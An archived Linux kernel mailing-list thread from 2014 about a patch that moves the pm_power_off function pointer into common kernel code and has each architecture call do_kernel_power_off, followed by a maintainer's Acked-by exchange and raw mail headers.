> diff --git a/arch/blackfin/kernel/reboot.c b/arch/blackfin/kernel/reboot.c
> index c4f50a3..387d610 100644
> --- a/arch/blackfin/kernel/reboot.c
> +++ b/arch/blackfin/kernel/reboot.c
> @@ -7,6 +7,7 @@
>   */
>
>  #include <linux/interrupt.h>
> +#include <linux/pm.h>
>  #include <asm/bfin-global.h>
>  #include <asm/reboot.h>
>  #include <asm/bfrom.h>
> @@ -106,6 +107,7 @@ void machine_halt(void)
>  __attribute__((weak))
>  void native_machine_power_off(void)
>  {
> +       do_kernel_power_off();
>         idle_with_irq_disabled();
>  }
>
> diff --git a/arch/c6x/kernel/process.c b/arch/c6x/kernel/process.c
> index 57d2ea8..edf7e5a 100644
> --- a/arch/c6x/kernel/process.c
> +++ b/arch/c6x/kernel/process.c
> @@ -27,12 +27,6 @@ void (*c6x_halt)(void);
>  extern asmlinkage void ret_from_fork(void);
>  extern asmlinkage void ret_from_kernel_thread(void);
>
> -/*
> - * power off function, if any
> - */
> -void (*pm_power_off)(void);
> -EXPORT_SYMBOL(pm_power_off);
> -
>  void arch_cpu_idle(void)
>  {
>         unsigned long tmp;
> @@ -73,8 +67,7 @@ void machine_halt(void)
>
>  void machine_power_off(void)
>  {
> -       if (pm_power_off)
> -               pm_power_off();
> +       do_kernel_power_off();
>         halt_loop();
>  }
>
> diff --git a/arch/cris/kernel/process.c b/arch/cris/kernel/process.c
> index b78498e..9ebd76b 100644
> --- a/arch/cris/kernel/process.c
> +++ b/arch/cris/kernel/process.c
> @@ -31,9 +31,6 @@
>
>  extern void default_idle(void);
>
> -void (*pm_power_off)(void);
> -EXPORT_SYMBOL(pm_power_off);
> -
>  void arch_cpu_idle(void)
>  {
>         default_idle();
> @@ -60,6 +57,7 @@ void machine_halt(void)
>
>  void machine_power_off(void)
>  {
> +       do_kernel_power_off();
>  }
>
>  /*
> diff --git a/arch/frv/kernel/process.c b/arch/frv/kernel/process.c
> index 5d40aeb77..502dabb 100644
> --- a/arch/frv/kernel/process.c
> +++ b/arch/frv/kernel/process.c
> @@ -42,9 +42,6 @@ asmlinkage void ret_from_kernel_thread(void);
>
>  #include <asm/pgalloc.h>
>
> -void (*pm_power_off)(void);
> -EXPORT_SYMBOL(pm_power_off);
> -
>  static void core_sleep_idle(void)
>  {
>  #ifdef LED_DEBUG_SLEEP
> @@ -107,6 +104,8 @@ void machine_power_off(void)
>         gdbstub_exit(0);
>  #endif
>
> +       do_kernel_power_off();
> +
>         for (;;);
>  }
>
> diff --git a/arch/hexagon/kernel/reset.c b/arch/hexagon/kernel/reset.c
> index 76483c1..6f607b6 100644
> --- a/arch/hexagon/kernel/reset.c
> +++ b/arch/hexagon/kernel/reset.c
> @@ -16,11 +16,13 @@
>   * 02110-1301, USA.
>   */
>
> +#include <linux/pm.h>
>  #include <linux/smp.h>
>  #include <asm/hexagon_vm.h>
>
>  void machine_power_off(void)
>  {
> +       do_kernel_power_off();
>         smp_send_stop();
>         __vmstop();
>  }
> @@ -32,6 +34,3 @@ void machine_halt(void)
>  void machine_restart(char *cmd)
>  {
>  }
> -
> -void (*pm_power_off)(void) = NULL;
> -EXPORT_SYMBOL(pm_power_off);
> diff --git a/arch/ia64/kernel/process.c b/arch/ia64/kernel/process.c
> index b515149..88121a2 100644
> --- a/arch/ia64/kernel/process.c
> +++ b/arch/ia64/kernel/process.c
> @@ -57,8 +57,6 @@ void (*ia64_mark_idle)(int);
>
>  unsigned long boot_option_idle_override = IDLE_NO_OVERRIDE;
>  EXPORT_SYMBOL(boot_option_idle_override);
> -void (*pm_power_off) (void);
> -EXPORT_SYMBOL(pm_power_off);
>
>  void
>  ia64_do_show_stack (struct unw_frame_info *info, void *arg)
> @@ -675,8 +673,7 @@ machine_halt (void)
>  void
>  machine_power_off (void)
>  {
> -       if (pm_power_off)
> -               pm_power_off();
> +       do_kernel_power_off();
>         machine_halt();
>  }
>
> diff --git a/arch/m32r/kernel/process.c b/arch/m32r/kernel/process.c
> index e69221d..65a037e 100644
> --- a/arch/m32r/kernel/process.c
> +++ b/arch/m32r/kernel/process.c
> @@ -23,6 +23,7 @@
>  #include <linux/fs.h>
>  #include <linux/slab.h>
>  #include <linux/module.h>
> +#include <linux/pm.h>
>  #include <linux/ptrace.h>
>  #include <linux/unistd.h>
>  #include <linux/hardirq.h>
> @@ -44,9 +45,6 @@ unsigned long thread_saved_pc(struct task_struct *tsk)
>         return tsk->thread.lr;
>  }
>
> -void (*pm_power_off)(void) = NULL;
> -EXPORT_SYMBOL(pm_power_off);
> -
>  void machine_restart(char *__unused)
>  {
>  #if defined(CONFIG_PLAT_MAPPI3)
> @@ -67,7 +65,9 @@ void machine_halt(void)
>
>  void machine_power_off(void)
>  {
> -       /* M32R_FIXME */
> +       do_kernel_power_off();
> +       for (;;)
> +               ;
>  }
>
>  void show_regs(struct pt_regs * regs)
> diff --git a/arch/m68k/kernel/process.c b/arch/m68k/kernel/process.c
> index afe3d6e..bbc0a63 100644
> --- a/arch/m68k/kernel/process.c
> +++ b/arch/m68k/kernel/process.c
> @@ -78,14 +78,10 @@ void machine_halt(void)
>
>  void machine_power_off(void)
>  {
> -       if (pm_power_off)
> -               pm_power_off();
> +       do_kernel_power_off();
>         for (;;);
>  }
>
> -void (*pm_power_off)(void) = machine_power_off;
> -EXPORT_SYMBOL(pm_power_off);
> -
>  void show_regs(struct pt_regs * regs)
>  {
>         printk("\n");
> diff --git a/arch/metag/kernel/process.c b/arch/metag/kernel/process.c
> index 483dff9..8d95773 100644
> --- a/arch/metag/kernel/process.c
> +++ b/arch/metag/kernel/process.c
> @@ -67,9 +67,6 @@ void arch_cpu_idle_dead(void)
>  }
>  #endif
>
> -void (*pm_power_off)(void);
> -EXPORT_SYMBOL(pm_power_off);
> -
>  void (*soc_restart)(char *cmd);
>  void (*soc_halt)(void);
>
> @@ -90,8 +87,7 @@ void machine_halt(void)
>
>  void machine_power_off(void)
>  {
> -       if (pm_power_off)
> -               pm_power_off();
> +       do_kernel_power_off();
>         smp_send_stop();
>         hard_processor_halt(HALT_OK);
>  }
> diff --git a/arch/microblaze/kernel/process.c b/arch/microblaze/kernel/process.c
> index b2dd371..0ebca36 100644
> --- a/arch/microblaze/kernel/process.c
> +++ b/arch/microblaze/kernel/process.c
> @@ -44,9 +44,6 @@ void show_regs(struct pt_regs *regs)
>                                 regs->msr, regs->ear, regs->esr, regs->fsr);
>  }
>
> -void (*pm_power_off)(void) = NULL;
> -EXPORT_SYMBOL(pm_power_off);
> -
>  void flush_thread(void)
>  {
>  }
> diff --git a/arch/microblaze/kernel/reset.c b/arch/microblaze/kernel/reset.c
> index fbe58c6..2c6b32c 100644
> --- a/arch/microblaze/kernel/reset.c
> +++ b/arch/microblaze/kernel/reset.c
> @@ -103,6 +103,7 @@ void machine_halt(void)
>  void machine_power_off(void)
>  {
>         pr_notice("Machine power off...\n");
> +       do_kernel_power_off();
>         while (1)
>                 ;
>  }
> diff --git a/arch/mips/kernel/reset.c b/arch/mips/kernel/reset.c
> index 07fc524..09e74d2 100644
> --- a/arch/mips/kernel/reset.c
> +++ b/arch/mips/kernel/reset.c
> @@ -21,9 +21,6 @@
>   */
>  void (*_machine_restart)(char *command);
>  void (*_machine_halt)(void);
> -void (*pm_power_off)(void);
> -
> -EXPORT_SYMBOL(pm_power_off);
>
>  void machine_restart(char *command)
>  {
> @@ -39,6 +36,5 @@ void machine_halt(void)
>
>  void machine_power_off(void)
>  {
> -       if (pm_power_off)
> -               pm_power_off();
> +       do_kernel_power_off();
>  }
> diff --git a/arch/mn10300/kernel/process.c b/arch/mn10300/kernel/process.c
> index 3707da5..c78b2eb 100644
> --- a/arch/mn10300/kernel/process.c
> +++ b/arch/mn10300/kernel/process.c
> @@ -20,6 +20,7 @@
>  #include <linux/user.h>
>  #include <linux/interrupt.h>
>  #include <linux/delay.h>
> +#include <linux/pm.h>
>  #include <linux/reboot.h>
>  #include <linux/percpu.h>
>  #include <linux/err.h>
> @@ -45,12 +46,6 @@ unsigned long thread_saved_pc(struct task_struct *tsk)
>  }
>
>  /*
> - * power off function, if any
> - */
> -void (*pm_power_off)(void);
> -EXPORT_SYMBOL(pm_power_off);
> -
> -/*
>   * On SMP it's slightly faster (but much more power-consuming!)
>   * to poll the ->work.need_resched flag instead of waiting for the
>   * cross-CPU IPI to arrive. Use this option with caution.
> @@ -93,6 +88,7 @@ void machine_power_off(void)
>  #ifdef CONFIG_KERNEL_DEBUGGER
>         gdbstub_exit(0);
>  #endif
> +       do_kernel_power_off();
>  }
>
>  void show_regs(struct pt_regs *regs)
> diff --git a/arch/openrisc/kernel/process.c b/arch/openrisc/kernel/process.c
> index 386af25..494afd2 100644
> --- a/arch/openrisc/kernel/process.c
> +++ b/arch/openrisc/kernel/process.c
> @@ -25,6 +25,7 @@
>  #include <linux/kernel.h>
>  #include <linux/module.h>
>  #include <linux/mm.h>
> +#include <linux/pm.h>
>  #include <linux/stddef.h>
>  #include <linux/unistd.h>
>  #include <linux/ptrace.h>
> @@ -51,7 +52,7 @@
>   */
>  struct thread_info *current_thread_info_set[NR_CPUS] = { &init_thread_info, };
>
> -void machine_restart(void)
> +void machine_restart(char *cmd)
>  {
>         printk(KERN_INFO "*** MACHINE RESTART ***\n");
>         __asm__("l.nop 1");
> @@ -72,11 +73,12 @@ void machine_halt(void)
>  void machine_power_off(void)
>  {
>         printk(KERN_INFO "*** MACHINE POWER OFF ***\n");
> +
> +       do_kernel_power_off();
> +
>         __asm__("l.nop 1");
>  }
>
> -void (*pm_power_off) (void) = machine_power_off;
> -
>  /*
>   * When a process does an "exec", machine state like FPU and debug
>   * registers need to be reset.  This is a hook function for that.
> diff --git a/arch/parisc/kernel/process.c b/arch/parisc/kernel/process.c
> index 0bbbf0d..3f5d14a 100644
> --- a/arch/parisc/kernel/process.c
> +++ b/arch/parisc/kernel/process.c
> @@ -41,6 +41,7 @@
>  #include <linux/fs.h>
>  #include <linux/module.h>
>  #include <linux/personality.h>
> +#include <linux/pm.h>
>  #include <linux/ptrace.h>
>  #include <linux/sched.h>
>  #include <linux/slab.h>
> @@ -133,7 +134,9 @@ void machine_power_off(void)
>         pdc_soft_power_button(0);
>
>         pdc_chassis_send_status(PDC_CHASSIS_DIRECT_SHUTDOWN);
> -
> +
> +       do_kernel_power_off();
> +
>         /* It seems we have no way to power the system off via
>          * software. The user has to press the button himself. */
>
> @@ -141,9 +144,6 @@ void machine_power_off(void)
>                "Please power this system off now.");
>  }
>
> -void (*pm_power_off)(void) = machine_power_off;
> -EXPORT_SYMBOL(pm_power_off);
> -
>  /*
>   * Free current thread data structures etc..
>   */
> diff --git a/arch/powerpc/kernel/setup-common.c b/arch/powerpc/kernel/setup-common.c
> index 1362cd6..5b7a851 100644
> --- a/arch/powerpc/kernel/setup-common.c
> +++ b/arch/powerpc/kernel/setup-common.c
> @@ -141,6 +141,9 @@ void machine_power_off(void)
>         machine_shutdown();
>         if (ppc_md.power_off)
>                 ppc_md.power_off();
> +
> +       do_kernel_power_off();
> +
>  #ifdef CONFIG_SMP
>         smp_send_stop();
>  #endif
> @@ -151,9 +154,6 @@ void machine_power_off(void)
>  /* Used by the G5 thermal driver */
>  EXPORT_SYMBOL_GPL(machine_power_off);
>
> -void (*pm_power_off)(void) = machine_power_off;
> -EXPORT_SYMBOL_GPL(pm_power_off);
> -
>  void machine_halt(void)
>  {
>         machine_shutdown();
> diff --git a/arch/s390/kernel/setup.c b/arch/s390/kernel/setup.c
> index e80d9ff..267e025 100644
> --- a/arch/s390/kernel/setup.c
> +++ b/arch/s390/kernel/setup.c
> @@ -263,13 +263,9 @@ void machine_power_off(void)
>                  */
>                 console_unblank();
>         _machine_power_off();
> -}
>
> -/*
> - * Dummy power off function.
> - */
> -void (*pm_power_off)(void) = machine_power_off;
> -EXPORT_SYMBOL_GPL(pm_power_off);
> +       do_kernel_power_off();
> +}
>
>  static int __init early_parse_mem(char *p)
>  {
> diff --git a/arch/score/kernel/process.c b/arch/score/kernel/process.c
> index a1519ad3..b76ea67 100644
> --- a/arch/score/kernel/process.c
> +++ b/arch/score/kernel/process.c
> @@ -29,9 +29,6 @@
>  #include <linux/pm.h>
>  #include <linux/rcupdate.h>
>
> -void (*pm_power_off)(void);
> -EXPORT_SYMBOL(pm_power_off);
> -
>  /* If or when software machine-restart is implemented, add code here. */
>  void machine_restart(char *command) {}
>
> @@ -39,7 +36,10 @@ void machine_restart(char *command) {}
>  void machine_halt(void) {}
>
>  /* If or when software machine-power-off is implemented, add code here. */
> -void machine_power_off(void) {}
> +void machine_power_off(void)
> +{
> +       do_kernel_power_off();
> +}
>
>  void ret_from_fork(void);
>  void ret_from_kernel_thread(void);
> diff --git a/arch/sh/kernel/reboot.c b/arch/sh/kernel/reboot.c
> index 04afe5b..065de12 100644
> --- a/arch/sh/kernel/reboot.c
> +++ b/arch/sh/kernel/reboot.c
> @@ -11,9 +11,6 @@
>  #include <asm/tlbflush.h>
>  #include <asm/traps.h>
>
> -void (*pm_power_off)(void);
> -EXPORT_SYMBOL(pm_power_off);
> -
>  #ifdef CONFIG_SUPERH32
>  static void watchdog_trigger_immediate(void)
>  {
> @@ -51,8 +48,7 @@ static void native_machine_shutdown(void)
>
>  static void native_machine_power_off(void)
>  {
> -       if (pm_power_off)
> -               pm_power_off();
> +       do_kernel_power_off();
>  }
>
>  static void native_machine_halt(void)
> diff --git a/arch/sparc/kernel/process_32.c b/arch/sparc/kernel/process_32.c
> index 50e7b62..cb8148a 100644
> --- a/arch/sparc/kernel/process_32.c
> +++ b/arch/sparc/kernel/process_32.c
> @@ -48,14 +48,6 @@
>   */
>  void (*sparc_idle)(void);
>
> -/*
> - * Power-off handler instantiation for pm.h compliance
> - * This is done via auxio, but could be used as a fallback
> - * handler when auxio is not present-- unused for now...
> - */
> -void (*pm_power_off)(void) = machine_power_off;
> -EXPORT_SYMBOL(pm_power_off);
> -
>  /*
>   * sysctl - toggle power-off restriction for serial console
>   * systems in machine_power_off()
> @@ -112,6 +104,8 @@ void machine_power_off(void)
>                 sbus_writeb(power_register, auxio_power_register);
>         }
>
> +       do_kernel_power_off();
> +
>         machine_halt();
>  }
>
> diff --git a/arch/sparc/kernel/reboot.c b/arch/sparc/kernel/reboot.c
> index eba7d91..3c0bb03 100644
> --- a/arch/sparc/kernel/reboot.c
> +++ b/arch/sparc/kernel/reboot.c
> @@ -16,17 +16,13 @@
>   */
>  int scons_pwroff = 1;
>
> -/* This isn't actually used, it exists merely to satisfy the
> - * reference in kernel/sys.c
> - */
> -void (*pm_power_off)(void) = machine_power_off;
> -EXPORT_SYMBOL(pm_power_off);
> -
>  void machine_power_off(void)
>  {
>         if (strcmp(of_console_device->type, "serial") || scons_pwroff)
>                 prom_halt_power_off();
>
> +       do_kernel_power_off();
> +
>         prom_halt();
>  }
>
> diff --git a/arch/tile/kernel/reboot.c b/arch/tile/kernel/reboot.c
> index 6c5d2c0..8ff4a7f 100644
> --- a/arch/tile/kernel/reboot.c
> +++ b/arch/tile/kernel/reboot.c
> @@ -36,6 +36,9 @@ void machine_power_off(void)
>  {
>         arch_local_irq_disable_all();
>         smp_send_stop();
> +
> +       do_kernel_power_off();
> +
>         hv_power_off();
>  }
>
> @@ -45,7 +48,3 @@ void machine_restart(char *cmd)
>         smp_send_stop();
>         hv_restart((HV_VirtAddr) "vmlinux", (HV_VirtAddr) cmd);
>  }
> -
> -/* No interesting distinction to be made here. */
> -void (*pm_power_off)(void) = NULL;
> -EXPORT_SYMBOL(pm_power_off);
> diff --git a/arch/um/kernel/reboot.c b/arch/um/kernel/reboot.c
> index ced8903..a82ef28 100644
> --- a/arch/um/kernel/reboot.c
> +++ b/arch/um/kernel/reboot.c
> @@ -11,8 +11,6 @@
>  #include <os.h>
>  #include <skas.h>
>
> -void (*pm_power_off)(void);
> -
>  static void kill_off_processes(void)
>  {
>         if (proc_mm)
> diff --git a/arch/unicore32/kernel/process.c b/arch/unicore32/kernel/process.c
> index b008e99..9490dd5 100644
> --- a/arch/unicore32/kernel/process.c
> +++ b/arch/unicore32/kernel/process.c
> @@ -56,16 +56,9 @@ void machine_halt(void)
>         gpio_set_value(GPO_SOFT_OFF, 0);
>  }
>
> -/*
> - * Function pointers to optional machine specific functions
> - */
> -void (*pm_power_off)(void) = NULL;
> -EXPORT_SYMBOL(pm_power_off);
> -
>  void machine_power_off(void)
>  {
> -       if (pm_power_off)
> -               pm_power_off();
> +       do_kernel_power_off();
>         machine_halt();
>  }
>
> diff --git a/arch/x86/kernel/reboot.c b/arch/x86/kernel/reboot.c
> index 17962e6..5c09e28 100644
> --- a/arch/x86/kernel/reboot.c
> +++ b/arch/x86/kernel/reboot.c
> @@ -30,12 +30,6 @@
>  #include <asm/x86_init.h>
>  #include <asm/efi.h>
>
> -/*
> - * Power off function, if any
> - */
> -void (*pm_power_off)(void);
> -EXPORT_SYMBOL(pm_power_off);
> -
>  static const struct desc_ptr no_idt = {};
>
>  /*
> @@ -647,11 +641,12 @@ static void native_machine_halt(void)
>
>  static void native_machine_power_off(void)
>  {
> -       if (pm_power_off) {
> +       if (have_kernel_power_off()) {
>                 if (!reboot_force)
>                         machine_shutdown();
> -               pm_power_off();
> +               do_kernel_power_off();
>         }
> +
>         /* A fallback in case there is no PM info available */
>         tboot_shutdown(TB_SHUTDOWN_HALT);
>  }
> diff --git a/arch/x86/xen/enlighten.c b/arch/x86/xen/enlighten.c
> index 1a3f044..c2c1d74 100644
> --- a/arch/x86/xen/enlighten.c
> +++ b/arch/x86/xen/enlighten.c
> @@ -1320,8 +1320,7 @@ static void xen_machine_halt(void)
>
>  static void xen_machine_power_off(void)
>  {
> -       if (pm_power_off)
> -               pm_power_off();
> +       do_kernel_power_off();
>         xen_reboot(SHUTDOWN_poweroff);
>  }
>
> diff --git a/arch/xtensa/kernel/process.c b/arch/xtensa/kernel/process.c
> index 1c85323..c487296 100644
> --- a/arch/xtensa/kernel/process.c
> +++ b/arch/xtensa/kernel/process.c
> @@ -49,10 +49,6 @@ extern void ret_from_kernel_thread(void);
>
>  struct task_struct *current_set[NR_CPUS] = {&init_task, };
>
> -void (*pm_power_off)(void) = NULL;
> -EXPORT_SYMBOL(pm_power_off);
> -
> -
>  #if XTENSA_HAVE_COPROCESSORS
>
>  void coprocessor_release_all(struct thread_info *ti)
> diff --git a/drivers/parisc/power.c b/drivers/parisc/power.c
> index ef31b77..f10cf92 100644
> --- a/drivers/parisc/power.c
> +++ b/drivers/parisc/power.c
> @@ -95,8 +95,7 @@ static void process_shutdown(void)
>                 /* send kill signal */
>                 if (kill_cad_pid(SIGINT, 1)) {
>                         /* just in case killing init process failed */
> -                       if (pm_power_off)
> -                               pm_power_off();
> +                       kernel_power_off();
>                 }
>         }
>  }
> diff --git a/kernel/power/poweroff_handler.c b/kernel/power/poweroff_handler.c
> index aeb4736..37f0b88 100644
> --- a/kernel/power/poweroff_handler.c
> +++ b/kernel/power/poweroff_handler.c
> @@ -22,6 +22,12 @@
>  #include <linux/types.h>
>
>  /*
> + * If set, calling this function will power off the system immediately.
> + */
> +void (*pm_power_off)(void);
> +EXPORT_SYMBOL(pm_power_off);
> +
> +/*
>   *     Notifier list for kernel code which wants to be called
>   *     to power off the system.
>   */
> @@ -236,6 +242,8 @@ EXPORT_SYMBOL(devm_register_power_off_handler);
>  void do_kernel_power_off(void)
>  {
>         spin_lock(&power_off_handler_lock);
> +       if (pm_power_off)
> +               pm_power_off();
>         raw_notifier_call_chain(&power_off_handler_list, 0, NULL);
>         spin_unlock(&power_off_handler_lock);
>  }
> diff --git a/kernel/reboot.c b/kernel/reboot.c
> index 5925f5a..0930851 100644
> --- a/kernel/reboot.c
> +++ b/kernel/reboot.c
> @@ -306,9 +306,9 @@ SYSCALL_DEFINE4(reboot, int, magic1, int, magic2, unsigned int, cmd,
>                 return ret;
>
>         /* Instead of trying to make the power_off code look like
> -        * halt when pm_power_off is not set do it the easy way.
> +        * halt when no poweroff handler exists do it the easy way.
>          */
> -       if ((cmd == LINUX_REBOOT_CMD_POWER_OFF) && !pm_power_off)
> +       if (cmd == LINUX_REBOOT_CMD_POWER_OFF && !have_kernel_power_off())
>                 cmd = LINUX_REBOOT_CMD_HALT;
>
>         mutex_lock(&reboot_mutex);
> --
> 1.9.1
>
> --
> To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> Please read the FAQ at  http://www.tux.org/lkml/
--
To unsubscribe from this list: send the line "unsubscribe linux-pm" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.kernel,gmane.linux.power-management.general,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.openrisc,gmane.linux.ports.m68k,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user
Subject: Re: [PATCH v2 08/47] kernel: Move pm_power_off to common code
Date: Fri, 24 Oct 2014 08:53:40 -0700
Lines: 25
Approved: news@gmane.org
Message-ID: <20141024155340.GA22426@roeck-us.net>
References: <1413864783-3271-1-git-send-email-linux@roeck-us.net>
 <1413864783-3271-9-git-send-email-linux@roeck-us.net>
 <544A2017.7020804@imgtec.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1414166046 15404 80.91.229.3 (24 Oct 2014 15:54:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 24 Oct 2014 15:54:06 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-pm@vger.kernel.org,
	adi-buildroot-devel@lists.sourceforge.net, linux390@de.ibm.com,
	linux-alpha@vger.kernel.org, linux-am33-list@redhat.com,
	linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
	linux-cris-kernel@axis.com, linux-hexagon@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux@openrisc.net,
	linux-m68k@vger.kernel.org, linux-metag@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	linux-sh@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	sparclinux@vger.kernel.org,
	user-mode-linux-devel@lists.sourceforge.net,
	user-mode-linux-user@lists.sourceforge.net, x86@kernel.org,
	xen-devel@lists.xenproject.org
To: James Hogan <james.hogan@imgtec.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Oct 24 17:53:58 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1XhhBb-00033b-T7
	for glk-linux-kernel-3@plane.gmane.org; Fri, 24 Oct 2014 17:53:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756370AbaJXPxw (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 24 Oct 2014 11:53:52 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:45440 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751653AbaJXPxu (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 24 Oct 2014 11:53:50 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=In-Reply-To:Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date; bh=kjlQCM+0EmlX8BHABTxQekNAn9jRj84zwg2oEd00Xn8=;
	b=6gJbs49Js5X6+X2KjFZRNW8Mri/kl8o26mCbR+2Rt0rdgBbPPWnGFXt2BZZ4hbP0DwHM8wR/4AuTzju85cmZrApvwlvOwZJjj7cxp0aL/4C/hAdxT/r3fhpGzn2eQGInvqQfFkPEDrMtkEGzf0718ymLTfBR/ArVG9UvtsAXSb0=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XhhBV-002Gq8-Qq
	for linux-kernel@vger.kernel.org; Fri, 24 Oct 2014 15:53:50 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:48887 helo=localhost)
	by bh-25.webhostbox.net with esmtpa (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XhhBO-002Gmk-1y; Fri, 24 Oct 2014 15:53:43 +0000
Content-Disposition: inline
In-Reply-To: <544A2017.7020804@imgtec.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Authenticated_sender: guenter@roeck-us.net
X-OutGoing-Spam-Status: No, score=0.0
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: 
X-Spam-Status: No, score=0.0 required=50.0 tests=SpamClass_Unknown,
	VirusClass_Unknown autolearn=disabled
	version=1.0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Unknown
X-CTCH-VOD: Unknown
X-CTCH-Flags: 0
X-CTCH-RefID: str=0001.0A020203.544A760D.02FA,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: C_4847,
X-CTCH-SenderID: linux@roeck-us.net
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 2
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 0
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1813047 gmane.linux.power-management.general:51550 gmane.linux.ports.alpha:2526 gmane.linux.ports.arm.kernel:366219 gmane.linux.ports.hexagon:871 gmane.linux.ports.ia64:24635 gmane.linux.ports.openrisc:606 gmane.linux.ports.m68k:6312 gmane.linux.kernel.metag:390 gmane.linux.ports.mips.general:44710 gmane.linux.ports.parisc:6189 gmane.linux.ports.ppc64.devel:106355 gmane.linux.ports.sh.devel:40184 gmane.linux.ports.sparc:20072 gmane.linux.uml.devel:14791 gmane.linux.uml.user:14744

On Fri, Oct 24, 2014 at 10:47:03AM +0100, James Hogan wrote:
> Hi Guenter,
> 
> On 21/10/14 05:12, Guenter Roeck wrote:
> > pm_power_off is defined for all architectures. Move it to common code.
> > 
> > Have all architectures call do_kernel_power_off instead of pm_power_off.
> > Some architectures point pm_power_off to machine_power_off. For those,
> > call do_kernel_power_off from machine_power_off instead.
> > 
> > Acked-by: David Vrabel <david.vrabel@citrix.com>
> > Acked-by: Geert Uytterhoeven <geert@linux-m68k.org>
> > Acked-by: Hirokazu Takata <takata@linux-m32r.org>
> > Acked-by: Jesper Nilsson <jesper.nilsson@axis.com>
> > Acked-by: Max Filippov <jcmvbkbc@gmail.com>
> > Acked-by: Rafael J. Wysocki <rjw@rjwysocki.net>
> > Acked-by: Richard Weinberger <richard@nod.at>
> > Acked-by: Xuetao Guan <gxt@mprc.pku.edu.cn>
> 
> For metag:
> Acked-by: James Hogan <james.hogan@imgtec.com>
> 
Thanks!

Guenter

From - Thu Nov 08 21:10:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Lennox Wu <lennox.wu@gmail.com>
Newsgroups: gmane.linux.uml.user,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.openrisc,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.uml.devel,gmane.linux.power-management.general,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [uml-user] [PATCH v2 08/47] kernel: Move pm_power_off to common
	code
Date: Fri, 24 Oct 2014 18:02:09 +0800
Lines: 1937
Approved: news@gmane.org
Message-ID: <CAF0htA5SybjQdn-UtN+PeQyWcGsJQOsisUSqwFNLAJXSxxViBw@mail.gmail.com>
References: <1413864783-3271-1-git-send-email-linux@roeck-us.net>
	<1413864783-3271-9-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="===============4758436678200825891=="
